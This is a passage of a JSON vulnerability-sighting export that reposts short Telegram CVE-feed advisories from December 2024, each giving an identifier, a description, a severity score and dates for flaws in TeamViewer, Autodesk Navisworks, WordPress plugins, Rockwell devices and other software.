"798f8c38-946a-466a-837b-e3ad98be4b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12363", "type": "seen", "source": "https://t.me/cvedetector/12624", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12363 - TeamViewer Remote Management Local File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12363 \nPublished : Dec. 11, 2024, 10:15 a.m. | 59\u00a0minutes ago \nDescription : Insufficient permissions in the TeamViewer Patch & Asset Management component prior to version 24.12 on Windows allows a local authenticated user to delete arbitrary files.\u00a0TeamViewer Patch & Asset Management is part of TeamViewer Remote Management. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T12:43:52.000000Z"}, {"uuid": "30e09e7c-d59d-4251-9bc7-b9ec3222facb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://t.me/cvedetector/12535", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12286 - MOBATIME Network Master Clock SSH Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12286 \nPublished : Dec. 10, 2024, 6:15 p.m. | 34\u00a0minutes ago \nDescription : MOBATIME Network Master Clock - DTS 4801 allows attackers to use SSH to gain initial access using default credentials. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:59:17.000000Z"}, {"uuid": "b9dd244c-7c98-4189-bf1b-e90861921a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "Telegram/SVynSwajLsN1aWxvMEuqgdPOPDTFCIEIjBJU5TY6OBLU3A", "content": "", "creation_timestamp": "2025-02-16T13:31:31.000000Z"}, {"uuid": "232b3895-caaa-4ebb-9ace-1f9a4153717d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12340", "type": "seen", "source": "https://t.me/cvedetector/13179", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12340 - Elementor Animation Addons Sensitive Information Exposur\", \n  \"Content\": \"CVE ID : CVE-2024-12340 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Animation Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.6 via the 'render' function in widgets/content-slider.php and widgets/tabs.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft Elementor template data. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:14.000000Z"}, {"uuid": "f6e9d9a7-8985-4e71-94aa-aca620dabee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12199", "type": "seen", "source": "https://t.me/cvedetector/13109", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12199 - Autodesk Navisworks OOB Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12199 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:58.000000Z"}, {"uuid": "713ab490-ec90-42f8-81b8-e59505d74f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "https://t.me/cvedetector/13108", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12198 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12198 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:54.000000Z"}, {"uuid": "07395487-63e0-472c-9c4d-088152bcfe29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "https://t.me/cvedetector/13104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12192 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12192 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWF file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:51.000000Z"}, {"uuid": "b2e1236f-71bd-4644-918a-789c633a7c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "https://t.me/cvedetector/13103", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12191 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12191 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:47.000000Z"}, {"uuid": "355e9dbd-acc1-4a24-9f26-1cf872051232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12187", "type": "seen", "source": "https://t.me/cvedetector/12059", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12187 - A vulnerability was found in 1000 Projects Library\", \n  \"Content\": \"CVE ID : CVE-2024-12187 \nPublished : Dec. 5, 2024, 1:15 a.m. | 31\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Library Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /showbook.php. The manipulation of the argument q leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T02:48:31.000000Z"}, {"uuid": "55ccd221-02bd-4583-8da3-e94e7799c86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12188", "type": "seen", "source": "https://t.me/cvedetector/12058", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12188 - A vulnerability was found in 1000 Projects Library\", \n  \"Content\": \"CVE ID : CVE-2024-12188 \nPublished : Dec. 5, 2024, 1:15 a.m. | 31\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Library Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /brains/stu.php. The manipulation of the argument useri leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T02:48:31.000000Z"}, {"uuid": "a268611b-e390-464e-bf83-e37a6d85329e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12454", "type": "seen", "source": "https://t.me/cvedetector/13178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12454 - SliceWP Affiliates Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12454 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Affiliate Program Suite \u2014 SliceWP Affiliates plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.23. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:13.000000Z"}, {"uuid": "222c9a54-26c3-4975-bf7a-5ff6729384fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12554", "type": "seen", "source": "https://t.me/cvedetector/13177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12554 - \"WordPress Peter's Custom Anti-Spam CSRF Email Blacklisting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12554 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Peter\u2019s Custom Anti-Spam plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.3. This is due to missing nonce validation on the cas_register_post() function. This makes it possible for unauthenticated attackers to blacklist emails via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:13.000000Z"}, {"uuid": "22b085b8-937f-463e-9dfa-ca299e37a9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://t.me/cvedetector/13212", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12371 - Rockwell Automation Power Monitor 1000 API Unauthenticated Elevated Privilege Creation\", \n  \"Content\": \"CVE ID : CVE-2024-12371 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A device takeover vulnerability exists in the Rockwell Automation Power Monitor 1000. This vulnerability allows configuration of a new Policyholder user without any authentication via API. Policyholder user is the most privileged user that can perform edit operations, creating admin users and performing factory reset. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:44.000000Z"}, {"uuid": "a3a48f61-276c-4e87-b57e-de02d289a64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12231", "type": "seen", "source": "https://t.me/cvedetector/12121", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12231 - A vulnerability, which was classified as critical,\", \n  \"Content\": \"CVE ID : CVE-2024-12231 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in CodeZips Project Management System 1.0. This affects an unknown part of the file /index.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:23.000000Z"}, {"uuid": "8c891aa0-0827-4bfb-b0cc-ff19c24f890e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://t.me/cvedetector/13210", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12373 - Rockwell Automation Power Monitor 1000 Denial-of-Service Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12373 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A denial-of-service vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in a buffer-overflow, potentially causing denial-of-service. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:43.000000Z"}, {"uuid": "c5cff673-3e91-4419-ae51-760ea4b4b2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://t.me/cvedetector/13209", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12372 - Rockwell Automation Power Monitor 1000 Denial-of-Service and Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12372 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A denial-of-service and possible remote code execution vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in corruption of the heap memory which may compromise the integrity of the system, potentially allowing for remote code execution or a denial-of-service attack. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:39.000000Z"}, {"uuid": "d31d1965-7770-4077-be53-12cff04cfb05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12028", "type": "seen", "source": "https://t.me/cvedetector/12186", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12028 - The Friends plugin for WordPress is vulnerable to\", \n  \"Content\": \"CVE ID : CVE-2024-12028 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Friends plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in all versions up to, and including, 3.2.1. This makes it possible for unauthenticated attackers to send arbitrary friend requests on behalf of another website, accept the friend request for the targeted website, and then communicate with the site as an accepted friend. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:36:02.000000Z"}, {"uuid": "63b06a62-b94d-4803-b572-f80525cb4bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12027", "type": "seen", "source": "https://t.me/cvedetector/12185", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12027 - The Message Filter for Contact Form 7 plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12027 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateFilter() and deleteFilter() functions in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to update and delete filters. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:36:01.000000Z"}, {"uuid": "3477b115-bc60-4607-a5c5-746dd21a126b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12003", "type": "seen", "source": "https://t.me/cvedetector/12184", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12003 - The WP System plugin for WordPress is vulnerable t\", \n  \"Content\": \"CVE ID : CVE-2024-12003 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The WP System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.1. This is due to missing or incorrect nonce validation on the generate_wp_system_page_content() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:57.000000Z"}, {"uuid": "6fc84a7b-92bd-4a62-a6c8-f5b33f5797d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12287", "type": "seen", "source": "https://t.me/cvedetector/13171", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12287 - Biagiotti Membership WordPress Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12287 \nPublished : Dec. 18, 2024, 7:15 a.m. | 24\u00a0minutes ago \nDescription : The Biagiotti Membership plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.0.2. This is due to the plugin not properly verifying a user's identity prior to authenticating them. This makes it possible for unauthenticated attackers to log in as other users, such as administrators, granted they have access to an email. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T08:40:32.000000Z"}, {"uuid": "aae88879-fa13-4343-a6bb-35d23882d795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12181", "type": "seen", "source": "https://t.me/cvedetector/12036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12181 - A vulnerability classified as problematic was foun\", \n  \"Content\": \"CVE ID : CVE-2024-12181 \nPublished : Dec. 4, 2024, 10:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in DedeCMS 5.7.116. Affected by this vulnerability is an unknown functionality of the file /member/uploads_add.php of the component SWF File Handler. The manipulation of the argument mediatype leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T00:17:46.000000Z"}, {"uuid": "62b92bfc-43e8-4619-98b4-3fb5c4397354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12082", "type": "seen", "source": "https://t.me/cvedetector/11884", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12082 - Huawei OpenHarmony Out-of-bounds Read Information Leak\", \n  \"Content\": \"CVE ID : CVE-2024-12082 \nPublished : Dec. 3, 2024, 1:15 p.m. | 29\u00a0minutes ago \nDescription : in OpenHarmony v4.0.0 and prior versions allow a local attacker cause information leak through out-of-bounds Read. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T14:49:42.000000Z"}, {"uuid": "2435820d-1f82-40e9-896b-a7bb6867b234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/cvedetector/13160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12698 - Rapid Reset Unauthenticated Stream Encryption Weakness in OpenShift Enterprise OSE-OLM-Catalogd Container\", \n  \"Content\": \"CVE ID : CVE-2024-12698 \nPublished : Dec. 18, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T07:00:06.000000Z"}, {"uuid": "1ee7ccee-18e8-4333-92fc-ee721bdeb8c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12432", "type": "seen", "source": "https://t.me/cvedetector/13157", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12432 - WPC Shop WooCommerce Plugin for WordPress Unsecured Authentication\", \n  \"Content\": \"CVE ID : CVE-2024-12432 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The WPC Shop as a Customer for WooCommerce plugin for WordPress is vulnerable to account takeover and privilege escalation in all versions up to, and including, 1.2.8. This is due to the 'generate_key' function not producing a sufficiently random value. This makes it possible for authenticated attackers, with Subscriber-level access and above, to log in as site administrators, granted they have triggered the ajax_login() function which generates a unique key that can be used to log in. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:56.000000Z"}, {"uuid": "13f3815f-659e-4399-873e-8d897333ff24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12259", "type": "seen", "source": "https://t.me/cvedetector/13156", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12259 - WordPress RepairBuddy Plugin Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12259 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The CRM WordPress Plugin \u2013 RepairBuddy plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.8120. This is due to the plugin not properly validating a user's identity prior to updating their email through the wc_update_user_data AJAX action. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:55.000000Z"}, {"uuid": "fc4b0dd7-0021-44a6-b153-fc76b718a798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12250", "type": "seen", "source": "https://t.me/cvedetector/13155", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12250 - Authorize.NET Payments Using Contact Form 7 WordPress Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12250 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Accept Authorize.NET Payments Using Contact Form 7 plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2 via the cf7adn-info.php file. This makes it possible for unauthenticated attackers to extract configuration data which can be used to aid in other attacks. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:54.000000Z"}, {"uuid": "b4ce07ad-6c6c-4621-94fc-c962fb6215d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12061", "type": "seen", "source": "https://t.me/cvedetector/13154", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12061 - Elementor WordPress Events Addon Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12061 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Events Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2.3 via the naevents_elementor_template shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:51.000000Z"}, {"uuid": "b0bbde81-b87f-4de2-837b-c5f53caa8a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://t.me/cvedetector/13153", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12025 - WordPress Collapsing Categories SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12025 \nPublished : Dec. 